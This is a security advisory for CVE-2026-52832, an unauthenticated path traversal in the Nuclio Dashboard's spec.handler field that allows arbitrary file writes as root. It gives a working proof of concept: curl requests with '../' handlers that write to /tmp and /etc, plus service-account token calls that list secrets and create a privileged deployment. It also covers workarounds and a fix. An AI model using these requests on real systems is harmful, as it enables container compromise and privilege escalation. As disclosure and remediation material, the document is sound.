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CVE-2026-52832MEDIUM· 4.9GHSA대응게시일: 2026. 07. 16.수정일: 2026. 07. 16.

Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container

위협 신호 · CVSS · EPSS · KEV

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4.9medium

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권장 대응 기한60일 이내CISA SSVC 기준

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CVSS 3.14.9MODERATE
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

상세 설명

Summary

Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.

During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).

The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N — 7.5 (High)
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

Details

Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):

text
 1// pkg/functionconfig/handler.go:25-38
 2func ParseHandler(handler string) (string, string, error) {
 3    moduleAndEntrypoint := strings.Split(handler, ":")
 4    switch len(moduleAndEntrypoint) {
 5    case 1:
 6        return "", moduleAndEntrypoint[0], nil
 7    case 2:
 8        // Returns moduleFileName verbatim — no path sanitization
 9        return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
10    default:
11        return "", "", errors.Errorf("Invalid handler name %s", handler)
12    }
13}

Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".

2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):

text
 1// builder.go:624-657 (abridged)
 2tempDir, err := b.mkDirUnderTemp("source")
 3// tempDir = /tmp/nuclio-build-<random>/source
 4 
 5runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)
 6 
 7moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
 8// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled
 9 
10if !strings.Contains(moduleFileName, ".") {
11    moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
12}
13// If moduleFileName already contains ".", no extension is appended
14// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is
15 
16sourceFilePath := path.Join(tempDir, moduleFileName)
17// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
18// = "/tmp/vul007_proof.txt"   <-- escaped tempDir
19 
20b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
21if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
22    // Writes attacker-controlled bytes to attacker-controlled path

3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):

text
 1// builder.go:1053
 2err := os.RemoveAll(b.tempDir)
 3// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists

Path Traversal Calculation

text
 1tempDir  = /tmp/nuclio-build-227825660/source   (depth from /: 3 components)
 2handler  = "../../../../tmp/vul007_proof.txt:handler"
 3module   = "../../../../tmp/vul007_proof.txt"
 4 
 5path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
 6= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")
 7 
 8Traversal:
 9  /tmp/nuclio-build-227825660/source  (start)
10  ../  -> /tmp/nuclio-build-227825660
11  ../  -> /tmp
12  ../  -> /  (filesystem root)
13  ../  -> /  (cannot go above root)
14  tmp/vul007_proof.txt -> /tmp/vul007_proof.txt

The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.

Full Attack Chain

text
 1Unauthenticated HTTP client
 2  -> POST /api/functions (no auth, NOP mode)
 3       dashboard/resource/function.go:156 storeAndDeployFunction()
 4  -> platform.CreateFunction()
 5       platform/kube/platform.go:193
 6  -> abstract/platform.go:191 HandleDeployFunction()
 7  -> abstract/platform.go:119 CreateFunctionBuild()
 8  -> builder.Build()
 9       processor/build/builder.go:195
10  -> builder.resolveFunctionPath()
11       builder.go:664
12  -> builder.writeFunctionSourceCodeToTempFile()   <-- file write here
13       builder.go:613
14  -> os.WriteFile(attacker_path, attacker_content, 0644)
15       builder.go:657

PoC — Steps to Reproduce

Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

Step 1: Create isolated kind cluster with Docker socket mounted

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

text
 1cat > /tmp/kind-vul007-config.yaml << 'EOF'
 2kind: Cluster
 3apiVersion: kind.x-k8s.io/v1alpha4
 4nodes:
 5- role: control-plane
 6  extraMounts:
 7  - hostPath: /var/run/docker.sock
 8    containerPath: /var/run/docker.sock
 9EOF
10 
11kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Expected output:

text
 1Creating cluster "vul-007" ...
 2 ✓ Ensuring node image (kindest/node:v1.27.3)
 3 ✓ Preparing nodes
 4 ✓ Writing configuration
 5 ✓ Starting control-plane
 6 ✓ Installing CNI
 7 ✓ Installing StorageClass
 8Set kubectl context to "kind-vul-007"

Verify Docker socket is available inside the cluster node:

bash
 1docker exec vul-007-control-plane ls -la /var/run/docker.sock
 2# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

Step 2: Deploy Nuclio via Helm

bash
 1# Create namespace
 2kubectl --context kind-vul-007 create namespace nuclio
 3 
 4# Load container images (if pre-pulled)
 5kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
 6kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
 7 
 8# Install with Helm (chart from source: hack/k8s/helm/nuclio)
 9helm install nuclio ./hack/k8s/helm/nuclio \
10  --namespace nuclio \
11  --kube-context kind-vul-007 \
12  --set controller.image.pullPolicy=Never \
13  --set dashboard.image.pullPolicy=Never \
14  --set registry.pushPullUrl="localhost:5000" \
15  --set dashboard.containerBuilderKind=docker

Step 3: Wait for Dashboard to be ready

bash
 1kubectl --context kind-vul-007 wait -n nuclio \
 2  --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
 3 
 4# Expected:
 5# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

Step 4: Expose Dashboard locally

bash
 1kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
 2sleep 3
 3 
 4# Verify Dashboard is accessible
 5curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
 6# HTTP 200

Step 5: Create default project (required by Dashboard API)

bash
 1curl -s -X POST http://localhost:8073/api/projects \
 2  -H "Content-Type: application/json" \
 3  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'

Exploitation

Step 6: Send path traversal request

The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.

bash
 1curl -v -X POST http://localhost:8073/api/functions \
 2  -H "Content-Type: application/json" \
 3  -H "x-nuclio-project-name: default" \
 4  -d '{
 5    "metadata": {"name": "vul007-poc", "namespace": "nuclio"},
 6    "spec": {
 7      "runtime": "python:3.11",
 8      "handler": "../../../../tmp/vul007_proof.txt:handler",
 9      "build": {
10        "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
11      },
12      "minReplicas": 0,
13      "maxReplicas": 1
14    }
15  }'

functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007

Expected response:

text
 1HTTP/1.1 202 Accepted

Step 7: Observe Dashboard build logs

text
 1kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
 2  | grep -E "temporary dir|Writing function source"

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):

text
 126.05.17 14:55:02.225 (D) dashboard.server.api/functions  Created temporary dir
 2  {"dir": "/tmp/nuclio-build-227825660/source"}
 3 
 426.05.17 14:55:02.225 (D) dashboard.server.api/functions  Writing function source code to temporary file
 5  {"functionPath": "/tmp/vul007_proof.txt"}

The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is
outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.

Step 8: Verify file written to traversal path

text
 1kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
 2  -- cat /tmp/vul007_proof.txt

Output:

text
 1PROVED-PATH-TRAVERSAL-VUL007
text
 1kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
 2  -- ls -la /tmp/vul007_proof.txt

Output:

text
 1-rw-r--r--    1 root     root            28 May 17 14:55 /tmp/vul007_proof.txt

Step 9: Write to /etc/ — broader impact demonstration

bash
 1curl -s -X POST http://localhost:8073/api/functions \
 2  -H "Content-Type: application/json" \
 3  -H "x-nuclio-project-name: default" \
 4  -d '{
 5    "metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
 6    "spec": {
 7      "runtime": "python:3.11",
 8      "handler": "../../../../etc/vul007-marker.txt:handler",
 9      "build": {
10        "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
11      }
12    }
13  }'

Log evidence:

text
 126.05.17 14:55:50.666 (D) dashboard.server.api/functions  Writing function source code to temporary file
 2  {"functionPath": "/etc/vul007-marker.txt"}
bash
 1kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
 2  -- cat /etc/vul007-marker.txt
 3# VUL007-PERSISTENT-MARKER-root

Cleanup

text
 1kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
 2kind delete cluster --name vul-007

Impact

Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets:

  • /tmp/ — confirmed (primary PoC)
  • /etc/ — confirmed (secondary PoC)

Potential high-impact write targets:

  • /etc/cron.d/ — write a cron job entry; if a cron daemon runs in the container, this
    achieves scheduled arbitrary command execution inside the container
  • /usr/local/bin/<name> — overwrite a binary called by dashboard processes
  • Any file path accessible by root within the container filesystem

Privilege Escalation

The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:

text
 1Resources         Verbs
 2secrets           [*]
 3deployments.apps  [*]
 4pods              [*]
 5configmaps        [*]
 6services          [*]
 7cronjobs.batch    [*]

Verification: Using the SA token directly against the Kubernetes API:

bash
 1# List secrets — HTTP 200
 2curl -k -H "Authorization: Bearer $SA_TOKEN" \
 3  "$K8S_API/api/v1/namespaces/nuclio/secrets"
 4# => returns helm release secret, nuclio SA secret
 5 
 6# Create privileged Deployment — HTTP 201
 7curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
 8  -H "Content-Type: application/json" \
 9  "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
10  -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
11# HTTP_CODE:201

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.

Scope

The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.

Severity

CVSS 3.1 Score: 7.5 (High)

text
 1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MetricValueRationale
Attack VectorNetworkDashboard API reachable over network
Attack ComplexityLowSingle HTTP request, no race condition
Privileges RequiredNoneDefault NOP auth mode requires no credentials
User InteractionNoneFully automated
ScopeUnchangedWrite confined to Dashboard container
ConfidentialityNoneNo data read in primary attack path
IntegrityHighArbitrary file write as root in container
AvailabilityNoneNo service disruption caused by write

Affected Versions

  • Nuclio <= 1.15.27 (latest release at time of research)
  • Dynamically verified against quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17

The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go)
has been present since the functionSourceCode inline code feature was introduced.

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

Workarounds

Option 1: Enable authentication on the Dashboard

Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

bash
 1# In Dashboard deployment env
 2- name: NUCLIO_AUTH_KIND
 3  value: "iguazio"

Option 2: Network-level access control

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

Option 3: Drop root privileges in the Dashboard container

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.

Remediation

Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:

text
 1// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile
 2sourceFilePath := path.Join(tempDir, moduleFileName)
 3 
 4// Verify resolved path is within tempDir
 5absPath, err := filepath.Abs(sourceFilePath)
 6if err != nil {
 7    return "", errors.Wrap(err, "Failed to resolve absolute path")
 8}
 9absTempDir, err := filepath.Abs(tempDir)
10if err != nil {
11    return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
12}
13if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
14    return "", errors.Errorf(
15        "handler module path escapes build directory: %s", moduleFileName)
16}
17 
18b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
19if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {

Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).

Resources

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